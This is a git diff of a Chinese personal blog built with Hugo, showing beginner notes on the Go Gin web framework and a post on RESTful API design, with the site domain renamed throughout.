api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main import \"github.com/gin-gonic/gin\" import \"net/http\" func main() { g := gin.Default() g.GET(\"/\", func(c *gin.Context) { c.String(http.StatusOK, \"hallo word\") }) g.Run() } go run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\":2333\")\n路由\nr.GET(\"/test/:name\", func(c *gin.Context) { name := c.Param(\"name\") c.String(http.StatusOK, name) }) g.Run(\":6666\") 127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\"/test\", func(c *gin.Context) { name := c.DefaultQuery(\"name\", \"test\") c.String(http.StatusOK, fmt.Sprintf(\"hallo %s\", name)) }) r.Run() 127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go\nr.POST(\"/form\", func(c *gin.Context) { types := c.DefaultPostForm(\"type\", \"post\") user := c.PostForm(\"user\") pass := c.PostForm(\"pass\") c.String(http.StatusOK, fmt.Sprintf(\"user:%s,pass:%s,type:%s\", name, pass, types)) }) r.Run() ","wordCount":"91","inLanguage":"en","datePublished":"2022-02-15T17:00:00Z","dateModified":"2022-02-15T17:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/135/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Gin框架学习笔记</h1><div class=post-meta><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Gin%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范</p><p>安装</p><p>go get -u github.com/gin-gonic/gin</p><p>第一个demo</p><pre><code>package main
+import &quot;github.com/gin-gonic/gin&quot;
+import &quot;net/http&quot;
+func main() {
+g := gin.Default()
+g.GET(&quot;/&quot;, func(c *gin.Context) {
+	c.String(http.StatusOK, &quot;hallo word&quot;)
+})
+g.Run()
+}
+</code></pre><p>go run main.go</p><p>g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")</p><p>路由</p><pre><code>r.GET(&quot;/test/:name&quot;, func(c *gin.Context) {
+    name := c.Param(&quot;name&quot;)
+    c.String(http.StatusOK, name)
+})
+g.Run(&quot;:6666&quot;)
+</code></pre><p>127.0.0.1:6666/test/xiaochen</p><p>可以看到Context的Param方法可以获取路由的参数</p><p>通过url传递参数</p><pre><code>r.GET(&quot;/test&quot;, func(c *gin.Context) {
+    name := c.DefaultQuery(&quot;name&quot;, &quot;test&quot;)
+    c.String(http.StatusOK, fmt.Sprintf(&quot;hallo %s&quot;, name))
+})
+r.Run()
+</code></pre><p>127.0.0.1:6666/test</p><p>如果没有传递参数将会输出DefaultQuery的默认参数test</p><p>传递参数后 127.0.0.1:6666/test?name=word</p><p>POST请求</p><p>index.html</p><p>main.go</p><pre><code>r.POST(&quot;/form&quot;, func(c *gin.Context) {
+    types := c.DefaultPostForm(&quot;type&quot;, &quot;post&quot;)
+    user := c.PostForm(&quot;user&quot;)
+    pass := c.PostForm(&quot;pass&quot;)
+    c.String(http.StatusOK, fmt.Sprintf(&quot;user:%s,pass:%s,type:%s&quot;, name, pass, types))
+})
+r.Run()
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/golang/>golang</a></li><li><a href=https://chenjunlinabc.github.io/tags/gin/>Gin</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/136/><span class=title>« Prev</span><br><span>简单了解RESTful设计规范</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/134/><span class=title>Next »</span><br><span>beego应用框架的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/136/index.html b/posts/136/index.html
index b3c9fcf0..e2a4a8c8 100644
--- a/posts/136/index.html
+++ b/posts/136/index.html
@@ -14,8 +14,8 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/136/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解RESTful设计规范"><meta property="og:description" content="RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/136/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解RESTful设计规范"><meta property="og:description" content="RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
 状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）
@@ -31,7 +31,7 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/136/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-16T21:50:00+00:00"><meta property="article:modified_time" content="2022-02-16T21:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解RESTful设计规范"><meta name=twitter:description content="RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/136/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-16T21:50:00+00:00"><meta property="article:modified_time" content="2022-02-16T21:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解RESTful设计规范"><meta name=twitter:description content="RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
 状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）
@@ -47,8 +47,8 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解RESTful设计规范","item":"https://xiaochenabc123.github.io/posts/136/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解RESTful设计规范","name":"简单了解RESTful设计规范","description":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应","keywords":["RESTful"],"articleBody":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应\n","wordCount":"25","inLanguage":"en","datePublished":"2022-02-16T21:50:00Z","dateModified":"2022-02-16T21:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/136/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解RESTful设计规范</h1><div class=post-meta><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3RESTful%e8%ae%be%e8%ae%a1%e8%a7%84%e8%8c%83.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范</p><p>资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）</p><p>表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容</p><p>状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）</p><p>RESTful设计规范的六个规范：</p><p>1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储</p><p>2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上</p><p>3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口</p><p>4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互</p><p>5.分层系统，不允许跨层访问（访问不相邻的层）</p><p>6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）</p><hr><p>api接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）</p><p>URI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）</p><p>HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）</p><p>如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用</p><p>需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等</p><hr><p>简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/restful/>RESTful</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/137/><span class=title>« Prev</span><br><span>简单使用Hugo搭建网站</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/135/><span class=title>Next »</span><br><span>Gin框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
